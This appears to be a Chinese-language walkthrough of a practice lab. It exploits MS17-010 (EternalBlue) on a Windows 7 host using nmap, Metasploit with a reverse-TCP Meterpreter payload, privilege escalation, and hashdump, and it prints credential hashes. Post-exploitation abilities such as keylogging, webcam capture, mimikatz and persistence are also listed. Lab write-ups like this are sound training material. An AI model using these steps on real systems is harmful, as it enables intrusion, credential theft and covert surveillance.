信息搜集
先进行对所有端口开放情况的简要扫描,避免花费太多时间在无效的端口服务扫描上
# nmap -p- -T5 --open -Pn 10.10.4.184 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 01:18 EDT Warning: 10.10.4.184 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.4.184 Host is up (0.40s latency). Not shown: 62133 closed tcp ports (reset), 3394 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49158/tcp open unknown 49159/tcp open unknown
我们再对135、139和445这三个端口进行详细的扫描
─# nmap -T5 -p 135,139,445 -Pn -sC --script vuln -oN bluemap.txt 10.10.4.184 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 01:21 EDT Warning: 10.10.4.184 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.4.184 Host is up (0.40s latency). Not shown: 940 closed tcp ports (reset), 57 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds Host script results: |_smb-vuln-ms10-054: false | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED |_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED Nmap done: 1 IP address (1 host up) scanned in 37.97 seconds
我们可以从扫描结果中发现ms17-010这个编号的漏洞,以下是对该漏洞的简介
MS17-010是指Microsoft于2017年3月发布的一个安全公告,该公告中披露了Windows操作系统中SMBv1协议的一个漏洞。该漏洞允许攻击者远程执行任意代码,因此被评级为“严重”。攻击者可以通过利用该漏洞来实现远程控制目标系统、窃取敏感信息等操作。该漏洞主要影响Windows 7及其之前版本的操作系统,以及Windows Server 2008及其之前版本的服务器操作系统。攻击者可以通过向目标计算机发送恶意的SMBv1请求来利用该漏洞,而无需用户交互或授权。因此,该漏洞被认为是非常危险的。Microsoft已经发布了修复程序来解决该漏洞,用户可以通过安装最新的安全更新来保护其系统免受攻击。此外,禁用或升级SMBv1协议也可以有效地减轻该漏洞的风险。SMB(Server Message Block)是一种应用层网络协议,主要用于在计算机之间共享文件、打印机、串口和其他资源。SMB协议最初是由IBM开发的,后来微软将其纳入到Windows操作系统中,并不断完善。SMB协议现在已经成为Windows操作系统中共享文件和打印机的标准协议。SMB协议是一种请求-响应协议,基于客户端-服务器模型。客户端通过SMB协议向服务器请求服务,服务器接收请求后处理并返回响应。SMB协议的常见用途包括:
- 文件共享:SMB协议允许用户在网络上共享文件和目录。用户可以通过SMB协议访问其他计算机上的共享文件,就像访问本地文件一样。
- 打印机共享:SMB协议还支持打印机共享。用户可以在一个计算机上安装打印机,并通过SMB协议在网络上共享这个打印机,使其他计算机也能使用这个打印机。
- 远程过程调用(RPC):SMB协议还可以用于执行远程过程调用,允许客户端向服务器发送指令并获取响应。
在进一步探测之前我们可以先使用smbclient工具对该网站
漏洞利用
知道了该服务器上存在的漏洞型号之后,我们可以启动metasploit来对漏洞进行利用。寻找漏洞型号
msf6 > search MS17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
我们可以看到永恒之蓝漏洞,现在我们使用永恒之蓝漏洞进行攻击
永恒之蓝(EternalBlue)是一个针对Microsoft Windows操作系统的著名网络攻击,它利用了Windows Server Message Block(SMB)协议的一个漏洞。该漏洞(编号为MS17-010)允许攻击者在未经授权的情况下远程执行代码和传播恶意软件。永恒之蓝的攻击在2017年WannaCry勒索软件和NotPetya破坏性恶意软件的传播中发挥了关键作用。永恒之蓝漏洞的根本原因在于Windows SMB协议的实现存在缺陷。SMB协议是一种用于文件和打印共享以及进程间通信的网络协议。漏洞主要涉及到SMBv1(第一个版本),在处理特定类型的恶意SMB包时,存在一个缓冲区溢出漏洞。攻击者可以利用这个漏洞发送恶意构造的SMB数据包,迫使系统分配过多的内存,从而破坏内核内存结构。这使得攻击者能够在目标系统上执行任意代码,从而完全控制目标系统。这个漏洞在2017年3月由Microsoft发布的安全公告MS17-010中得到了修复。然而,许多系统管理员未能及时更新系统,导致了WannaCry和NotPetya等著名攻击的大范围传播。
msf6 exploit(windows/smb/ms17_010_eternalblue) > options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm l RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Em bedded Standard 7 target machines. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.128.130 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target View the full module info with the info, or info -d command.
我们设置了对方的主机地址后,就能够发起使用exploit来发起攻击。
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 10.10.161.207:4444 [*] 10.10.40.174:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.40.174:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.40.174:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.10.40.174:445 - The target is vulnerable. [*] 10.10.40.174:445 - Connecting to target for exploitation. [+] 10.10.40.174:445 - Connection established for exploitation. [+] 10.10.40.174:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.40.174:445 - CORE raw buffer dump (42 bytes) [*] 10.10.40.174:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.40.174:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.40.174:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.40.174:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.40.174:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.40.174:445 - Sending all but last fragment of exploit packet [*] 10.10.40.174:445 - Starting non-paged pool grooming [+] 10.10.40.174:445 - Sending SMBv2 buffers [+] 10.10.40.174:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.40.174:445 - Sending final SMBv2 buffers. [*] 10.10.40.174:445 - Sending last fragment of exploit packet! [*] 10.10.40.174:445 - Receiving response from exploit packet [+] 10.10.40.174:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.40.174:445 - Sending egg to corrupted connection. [*] 10.10.40.174:445 - Triggering free of corrupted buffer. [*] Sending stage (200774 bytes) to 10.10.40.174 [*] Meterpreter session 1 opened (10.10.161.207:4444 -> 10.10.40.174:49182) at 2023-03-30 07:33:13 +0100 [+] 10.10.40.174:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.40.174:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.40.174:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
在进入对方主机后,我们可以将自己的shell升级到meterpreter,使用诸如
post/multi/manage/shell_to_meterpreter
来实现上述功能。在Metasploit控制台上,将会话编号分配给一个变量,例如:(将"1"替换为您实际的会话编号,这可以通过
sessions
命令来查看)session_id=1
使用
shell_to_meterpreter
模块:use post/multi/manage/shell_to_meterpreter
设置会话编号:
set SESSION $session_id
运行升级过程:
run
如果一切正常,您将看到一个新的Meterpreter会话被创建。您可以使用
sessions -i <new_session_id>
来与新的Meterpreter会话进行交互。Meterpreter是Metasploit框架中的一个强大有效载荷,它提供了许多在成功入侵系统后执行的功能。一旦你得到一个Meterpreter会话,你可以执行以下操作:
- 获取系统信息:使用
sysinfo
命令收集目标系统的基本信息,如操作系统、计算机名、域名等。
- 文件操作:你可以使用
cd
、ls
、pwd
、download
、upload
等命令在目标系统上浏览、下载和上传文件。
- 进程操作:
ps
命令可以查看目标系统上的进程列表,migrate
命令可以将Meterpreter迁移到另一个进程,而kill
命令可以结束某个进程。
- 注册表操作:在Windows系统上,你可以使用
reg
命令访问和修改注册表。
- 获取密码和散列:你可以使用
hashdump
命令获取系统中存储的密码哈希,使用mimikatz
命令收集内存中的明文密码和其他凭据信息。
- 提权:你可以使用
getsystem
、bypassuac
等模块来提升权限,从而获得更高级别的访问权限。
- 系统操作:使用
reboot
、shutdown
命令控制目标系统的重启或关闭。
- 访问WebCam和麦克风:使用
webcam_snap
、webcam_stream
、record_mic
等命令,你可以访问目标系统的摄像头和麦克风。
- 键盘记录:使用
keyscan_start
、keyscan_stop
和keyscan_dump
命令可以开始、停止和查看键盘记录。
- 维持访问:使用
persistence
模块,你可以确保在系统重启后仍然保持访问权限。
接着我们使用
getsystem
来进行提权操作,提权后,为了执行一些特定的操作,我们需要更高级别的权限,这需要我们将进程给迁移到具有更高权限的进程上去。接着使用
hashdump
列出该系统上存储的密码哈希meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
接着运行shell,在Meterpreter上运行shell命令会打开一个新的交互式shell,允许用户在目标系统上执行操作。这个shell是基于目标系统上的本地shell,因此用户可以执行和本地shell相同的命令和操作,如查看和编辑文件,执行系统命令等。